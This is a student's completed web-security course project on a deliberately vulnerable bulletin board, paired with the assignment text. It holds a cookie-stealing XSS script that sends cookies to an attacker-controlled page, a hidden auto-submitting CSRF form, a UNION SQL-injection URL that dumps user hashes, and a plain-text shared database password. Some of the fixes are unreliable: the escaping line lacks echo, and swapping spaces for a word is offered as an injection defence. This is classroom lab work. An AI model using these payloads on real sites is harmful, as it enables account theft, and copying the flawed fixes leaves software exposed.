CS 6324: Information Security
Project 3 - Web Security

Zhen Wang, zxw180035

In this project, you will perform a series of attacks to exploit some vulnerabilities in an online bulletin-board, called *hackme*. Your attack will consist of several phases. You will conduct cross site scripting, cross site request forgery, and SQL injection attacks. You are also required to implement modifications to the web site to prevent such attacks.

Instructions

Due date & time 11:59pm CST on April 30, 2021. Submit your project files (the report and source files) to eLearning by the due time. The files you submit must be compressed to a single archive (.zip or .tar).

Additional Instructions

- For this project, you already have the source files for the website hackme compressed `hackme.zip` in your home directory in `fiona.utdallas.edu`.
- Each student will use their account on `fiona.utdallas.edu`. You will receive an email with this information.
- Use the UT Dallas VPN if you connect to the server from outside the campus: `https://oit.utdallas.edu/howto/vpn/`.
- Your home account will contain a folder called 'public_html'. This is your website's home directory, which you can use for testing your solution. You can access any file placed there online on:
  `http://fiona.utdallas.edu/~username/`
  (remember to keep your permissions appropriate, you may need to modify them so that the group 'www-data' has read and execute access).
- To set up you own version of the website, unzip `hackme.zip` to the web directory above.
- All your website instances will connect to the same mySQL database. The database name is `cs6324spring21`, the username to access the database is `cs6324spring21` and the password is `ebBUwdGQunTa8MFU`.
- Any code you write should run on `fiona` with no errors.
- The written portion of the project must be typed. Using Latex is recommended, but not required. The submitted document must be a PDF (no doc or docx are allowed)
- If you want to use late days for this project (with the penalty described in the course website), please notify TA (dongpeng.liu@utdallas.edu) by the due time. Otherwise, your account on `fiona` will be locked and you will not be able to modify your code.

1 (20 pts) Password and Session Management

Securely managing sessions and passwords is vital to prevent a number of attacks on a webpage. Most website designers, however, neglect to take a few important security measures when dealing with passwords and cookies. In this part, you are going to explore hackme's code and identify a set of exploitable vulnerabilities.

1. **Password Management** hackme manages passwords in an inherently insecure way. Familiarize yourself with the password management techniques employed by hackme by examining the following files: `index.php`, `register.php`, and `members.php`:

   - **Describe** how the passwords are stored, transmitted and authenticated.

     If user deos not have an account, index.php reminds people to register and when people access register.php and register, the passwork will be hashed and stored in the database users table. If a user logs in through index.php, it will jump to members.php where password are hashed and set as part of cookie and transmit back to client user.

   - **Identify** and **describe two** vulnerabilities in the password management system and explain **how** they can be exploited. (note: your answer should not involve the possibility of "weak passwords" and should not involve cookies)

     – Log in is very unsafe. There is no password verifciation, as long as you input the existing username, you can input arbitrary password to login.

     – Password is not salted which makes dictionary attack possible. Salt prevents an attacker performing an offline attack against the password database. Also, there is no limit of login times, the attacker can brute force the password by repeated login.

   - **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. No points will be given if the code gives runtime errors.

     – In register.php, we replace hash with password_hash. Now, the password is salted and hashed. The modified register.php is put in

     ```
     /home/zxw180035/public_html/password_session_p1/register.php
     ```

     – In member.php, it only checks if user name exists by

     ```
     $check2 = mysql_num_rows($check);
     ```

     So we need to add password authentication as well

     ```
     $check1 = password_verify($_POST['password'],$pass_row[0]);
     $check2 = mysql_num_rows($check);
     if ($check2 == 0 || $check1 == false) {
       die("<p>Sorry, user name and/or password error.</p>");
     }
     ```

     The modified members.php is put in

     ```
     /home/zxw180035/public_html/password_session_p1/members.php
     ```

     To verify, please register a new account with modified register.php and check by using modified members.php. Otherwise, it is not consistent.

2. **Session Management** hackme relies on cookies to manage sessions. Familiarize yourself with the how cookies are managed in hackme.

- **Describe** how cookies are used in hackme and how sessions are maintained. Include in your description what is stored in the cookies and what checks are performed on the cookies.

  Members.php creates cookies using setcookie() function. Cookies are put in the header of http messages and returned to the browsers where cookies are stored. Also, when user post a new thread using post.php, the username cookie is also inserted and stored in database.

  The check happened in members.php and post.php to decide if there exists a user login using isset() function.

- **Identify** and **describe three** vulnerabilities in the cookie management system and **how** they can be exploited.
  - First and foremost, there is no need to maintain a password cookie which could cause password leakage
  - SameSite is not set to strict which makes cross site request forgery possible
  - No secure cookie prefix added. The design of the cookie mechanism is such that a server is unable to confirm that a cookie was set on a secure origin or even to tell where a cookie was originally set. A vulnerable application on a sub-domain can set a cookie with the Domain attribute, which gives access to that cookie on all other subdomains. This mechanism can be abused in a session fixation attack

- **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.

  The modified members.php again, is put in:

```
        /home/zxw180035/public_html/password_session_p1/members.php

```

  Correspondingly, we have these fixes:

  - remove setcookie(hackme_pass)
  - add SameSite=strict in setcookie() function to make SameSite attribute strictly applied
  - add __Secure- prefix to cookie name by adding it to the setcookie() function.

2 (20 pts) XSS Attack

Cross Site Scripting (XSS) attacks are one of the most common attacks on websites and one of the most difficult to defend against. Popular websites, including twitter and Facebook, were once vulnerable to such attacks. Naturally, hackme is also vulnerable to XSS. In this part, you will perform XSS attacks to steal users' cookies.

1. Craft a special input string that can be used as part of a posting to the bulletin board to conduct a XSS attack. The attack should steal the cookies of any user who views your posting. The cookies must be stored in a file on the attacker's server (not storing the cookies will only get you partial credit). You need to:

   - Provide the *exact* input string you need to post to the webpage. The input should be typed and submitted in a file names (XSS_input.txt) (I should be able to copy your string and paste it in order to replicate your attack). To get full credit, your attack must be 100% hidden from the victim.

     XSS_input.txt should be

```
    <script type="text/javascript">var myImage = new Image();myImage.src="http://fiona.
    utdallas.edu/~zxw180035/xss/steal.php?cookiestolen=" + document.cookie;</script>

```

- Explain what your string does and how it performs the attack. Also describe how the attacker can access the stolen cookies. Be precise in your explanation.
- Provide any extra web pages, files, and/or scripts that are needed to conduct a successful attack. Provide a complete description of each item and its intended purpose. Include in your description the required linux/unix permission bits for each new file.

  The input string exploits the show.php which is used to show the input user put in the post page. In show.php, it has:

```
<?php echo $thisthread[message] ?>
```

  So it will insert the JavaScript script snippet I put in the post to the html anyone who views my post by accessing show.php. What XSS_input does is calling the steal.php which I created in my server folder:

```
/home/zxw180035/public_html/xss/steal.php
```

  I put the cookiestolen after the steal.php by using

```
?cookiestolen=document.cookie;
```

  so that steal.php can get the cookie content by

```
$_GET["cookiestolen"];
```

  Now steal.php can create a xss_cookie.txt and store the cookie there. Before that, remember to make the xss directory write permission to any users by

```
cd /home/zxw180035/public_html
chmod -R 777 ./xss
cd xss
chmod 777 xss_cookie.txt
```

  Otherwise, other users cannot write the cookie to the xss_cookie.txt when the user call the steal.php
- Describe the exact vulnerabilit(y/ies) that made your attack possible.

  The vulnerability is from show.php which allows the attack to post JavaScript snippet in the post textarea. When php does echo, the snippet will be returned to anyone who is accessing the show.php. The viewer thus calls the steal.php and send the cookie without knowing what happened.

```
<?php echo $thisthread[message] ?>
```

  Also, in post.php, whatever attacker post is put in the database without checking if the post message is malicious.

```
INSERT INTO threads (username, title, message, date) VALUES('".$_COOKIE['hackme']."',
  '". $_POST['title']."', '". $_POST[message]."', '".time()."')
```

2. **Describe** *and* **implement** a method to prevent this attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerability. Your code will be graded on how well it fixes the vulnerability. You will not get any points for code that gives runtime errors.

   To prevent this attack, we should make the html does not interpret the

```
<script></script>
```

and treat it as normal text. To do this, when need to modify show.php echo post message part by changing a single line, line 42, from:

```
      <?php echo $thisthread[message] ?>

```

to

```
          <?php  htmlspecialchars($thisthread[message])  ?>
Check this reference site: https://riptutorial.com/php/example/11883/cross-site-scripting--
    xss-

```

The modified show.php is also put in xss directory

3 (20 pts) XSRF Attack

Cross Site Request Forgery (XSRF) attacks are malicious exploits which allow unauthorized commands to be transmitted to a webpage on behalf of a victim user. The attack can be used to perform unauthorized transactions on the victim's behalf. In this part, you will perform a XSRF attack to post an advertisement to the website without the user's consent. While the user is still logged on to hackme, you need lure him/her to a malicious webpage that runs the attack.

1. Create a new webpage that runs the XSRF attack. The attack should post an advertisement for "awesome free stuff!!". You need to:

   - Describe the components of your webpage. Include a thorough description of the component performing the attack and explain **how** the attack is performed.

```

<html>
   <body>
    <script>
        window.onload = function(){
                console.log("html loaded,should call php next");
                document.getElementById("cookie").value = document.cookie;
                document.getElementById("post_submit").click();

        }
    </script>
    <form method = post action="http://fiona.utdallas.edu/~zxw180035/hackme/post.php">
           <input type ="hidden" name="cookie" id="cookie">
           <input type="hidden" name="title" value="awesome free stuff!!" >
           <input type ="hidden" name="message" id="message" value='<a href="http://
    fiona.utdallas.edu/~zxw180035/xsrf/xsrf.html">Prize draw. Only one hour left!</a>
    '>
       <input type="submit" name="post_submit" id="post_submit" value="POST" style="
    display: none;" >
   </form>
   </body>
</html>

```

   Code of the webpage, xsrf.html is shown above. I put it under

```
     /home/zxw180035/public_html/xsrf/xsrf.html

```

   To attack, first post a new thread without a title such as AWESOME FREE STUFF to attract a target user. In the message bar, put this:

```
<a href="http://fiona.utdallas.edu/~zxw180035/xsrf/xsrf.html">Prize draw. Only one hour
    left!</a>

```

so when a user click the thread we posted and the link, since we have a hidden form that creates a new post on his or her behalf as shown in the html we created. The form along with user's cookie is automatically submitted to post.php. This is totally stealthy from the user.

- Make sure that the attack is 100% stealthy (hidden from the victim). The victim should only visit/view the malicious website for the attack to work. Attacks which require user interaction or which are not hidden (ex: cause redirection) will only get partial credit.

  Once they click, the hidden form which contains content for posting a new thread will be posted automatically via js code without further actions, so it is stealthy.

- Identify a method of luring the victim to visit your malicious website while he/she is logged into hackme.

  Using an attractive title to catch their eyes.

2. Describe the specific vulnerabilit(y/ies) in hackme that allowed XSRF attacks. Be precise in your description.

   First, there is no prevention against XSRF attack such as forgery cookie authentication, so posting a thread on users behalf without being found is possible. We discuss more about prevention in next part.

   Second, people can be easily lured into clicking malicious link by using a title such as free stuff available, while this link has some hidden form submitted (e.g., post a thread) without being detected by them.

3. Describe **three** methods to prevent XSRF attacks on hackme. You need to be thorough in your description: mention **what** needs to be done, **how** to do it, and **why** it will prevent the attack.

   - Check input when post new thread. Just like the xss attack above, the attack begins by the attacker inputs bad thing through post, so we can use html encoding such as htmlspecialchars() to disallow hyperlink, html element, js snippet.
   - Client-side safeguards Browser extensions such as RequestPolicy (for Mozilla Firefox) or uMatrix (for both Firefox and Google Chrome/Chromium) can prevent CSRF by providing a default-deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many websites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing, by removing authentication information from cross-site requests.
   - SameSite attribute. This can be turned on and off by most browsers. If enabled, with Strict set to Strict, the cookie is sent only to the same site as the one that originated it, so it can prevent xsrf attack.

4 (20 pts) SQL Injection Attack

For this part, you will use a private version of the website available on:

`http://fiona.utdallas.edu/hackme/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

In an attempt to limit access to this bulletin board, we added one more verification step to the registration process. Now, only users that have been given a secret access key can register as users. When creating a new account, the user has to enter a secret key. The hash of this key is checked against a stored hash. If it matches, then the registration process continues normally. This is the only time the key is checked.

Unfortunately, the secret key was not given to you, and you cannot register on this website. For this attack, you will bypass this requirement by performing an SQL injection attack.

1. By crafting a special input string to one of the HTML forms, you need to perform an SQL injection attack to register a new user on the website. You need to:

- Identify the webpage you are using for the attack (i.e. `index.php` or `register.php`)

  show.php This line is exploited.

```
$threads = mysql_query("SELECT * FROM threads WHERE id = '".$_GET[pid]."'") or die(
  mysql_error());

```

- Provide the *exact* input to *every* field on the webpage; this should include your attack string (I should be able to copy your string and paste it in order to replicate your attack from a file you should send named SQL_string.txt). To get full credit, your attack should not return an SQL error.

```
http://fiona.utdallas.edu/hackme/show.php?pid=%27%20UNION%20SELECT%20username,pass,fname
    ,lname,null%20FROM%20users%20WHERE%20%27%27=%27

```

  Login to the above site with username and password both are guest. Then paste the above line in browser.

- **Execute** the attack to register a new user. The username should be your NetID (ex: dxl200000). The first name and last name should be your name. The password can be anything.

  After pasting the above string on the browser, all users' username, password hash, fname, lname is known to the attacker. There is one thread called do not share which has POSTED BY SECRET KEY TO REGISTER IS : 1404664287

  Now, we get the secret key and could register and post my full name on it.

- Login with new username, and **post** something on the bulletin board. The title of the post should be your full name.

  After login with new username, my post is still there.

2. **Describe** *and* **implement** a method to prevent the above SQL injection attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.

   To prevent this attack, there are ways such as SQL string escaping mechanism, use bound variables with prepared statements (PERF example). I use another simple way that is php string replace function. I replace the space with string bad so that the above attack will not work because there will be sql grammar error.

   I put the modified show.php code in

```
/home/zxw180035/public_html/sql_injection_p4/show.php

```

3. The way the secret key is handled is inherently insecure. **Describe** a more secure method of providing the extra authentication step. That is, assuming that an adversary **can** perform the SQL injection attack, how can you prevent him from logging in to the website?

   Extra authentication step could stop SQL injection attack. It can be a Two-Factor Authentication application such as Duo Mobile or text/email verification.

Note: You can assume that "magic quotes" are disabled in the php.ini file by the system administrator. You cannot override this setting.

5 (20 pts) Weak Passwords

For this part, you will use a private version of the website available on:

`http://fiona.utdallas.edu/hackme/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

As you can tell, hackme does not check the strength of a user's passwords. The website only enforces the condition that passwords should be non-empty. As a result, 100 users registered accounts with very weak and/or common passwords. In this part, you will run a brute force dictionary attack to recover the passwords.

1. Read the paper "Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords" by Weir et al. (`pwdtest.pdf` is attached in eLearning).

   - Describe the current NIST standard for measuring the strength of passwords.

     What the NIST standard did was attempt to use the concept of Shannon's entropy for estimating the strength of password creation policies against online password cracking attacks

     NIST standard measures the strength of passwords by NIST Entropy. $H(x, y) <= H(x) + H(y)$ For different bits, they account for different entropy. For exmaple, the entropy of the first character is taken to be 4 bits and the entropy of the next 7 characters are 2 bits per character; See section 3 for more details.

     The next step is to translate the resulting entropy score into a measure of security provided by the password creation policy. If the entropy calculation is equivalent to a uniformly distributed randomly generated key of length H(x), this becomes possible due to the following equation:
     $ChanceofSuccess = NumberofAllowedGuesses/2^{H(x)}$

   - Briefly outline why, according to the paper, the NIST standard is ineffective.

     While the Shannon entropy value would be useful to determine on average the minimum amount of space required to store or transmit a human generated password, it has no relation to the guessing entropy of a password. To put it another way, even with an accurate Shannon entropy value, it would not tell the defender anything about how vulnerable a system would be to an online password cracking attack.

     They authors take the experiment on Minimum Password Length, Digits and prove the ineffectiveness of NIST entropy. Also, the authors discussed The Effectiveness of Using Blacklists of Banned Passwords, The Effectiveness of Requiring Uppercase Characters, The Effect of Requiring Special Characters.

   - Based on your understanding, suggest a set of rules that can be employed by hackme to prevent "weak passwords"

     – Create a password blacklist policy can provide a large degree of securtiy

     – Crate a grammar based on information such as the frequency people use certain words, case mangling, basic password structure, the probability of digits and special characters, etc. and uses that information to construct a probabilistic context free grammar that models how people select passwords. Then design password cracker then proceeds to make guesses in probability order according to that grammar.
     External password creation policies. The advantage is that they provide a set baseline of guaranteed randomness that is enforced by the system. This guaranteed randomness is imposed by allowing the user to select their base password, and then adding values to it that the user would then have to remember.

     – Other implicit password creation policies. For example a blacklist may be used along with an explicit creation rule requiring the user to include at least one uppercase letter.

2. The file `users.txt` contains a list of 100 users with weak passwords. You need to perform a **brute-force *dictionary*** attack to recover these passwords. For this, you need to find a corpus of weak passwords (a number of them are available online).

   You should output your result in a text file called `pass.txt`. Each line should correspond to one user. You need to output the username, followed by a tab, followed by the password. The users should be in the same order as they appear in `users.txt`. If you are unable to recover a password for one user, then output the username alone on that line. That is, I should be able to run `diff` on your output and my answer file in order to get the number of incorrect answers you have. Failure to follow these rules will not get you any credit.

This part is worth 10 pts (i.e. 0.1 points per password) and points will be rounded up. That is, you only need to recover 91 passwords to get a full grade. If you recover all 100 passwords, you will get bonus points. Hint: No password is used twice. If you are missing a few passwords after your dictionary attack, think about bad password habits made by users.

Hydra tool is used for brute-force directory attack. I put the result, pass.txt in

```
/home/zxw180035/public_html/weakpassword_p5/pass.txt
```

6 Final Notes.

Other than hackme folder, there are other five folders in my public_html folder which corresponds to the five solution of five questions in the project. The five folders are

1. password_session_p1
2. xss
3. xsrf
4. sql_injection_p4
5. weakpassword_p5

You should remember the followings:

- Even though you have your own version of the web site *hackme* they all share a common database, so make sure that you *play* nice.
- Make sure to compress all your solutions and follow the naming convention giving in the specification. The grading process will be automated and failing to follow the instruction might result in loosing points EVEN if you submitted the correct solution.
- Make sure you provide all the implementation of the fixes of the security vulnerabilities in *hackme* pointing out in your report to all the file you have changes and **what** you have changes and **why** it is important.
- Finally make sure you have a running final version in your account and clean up any backups you have made.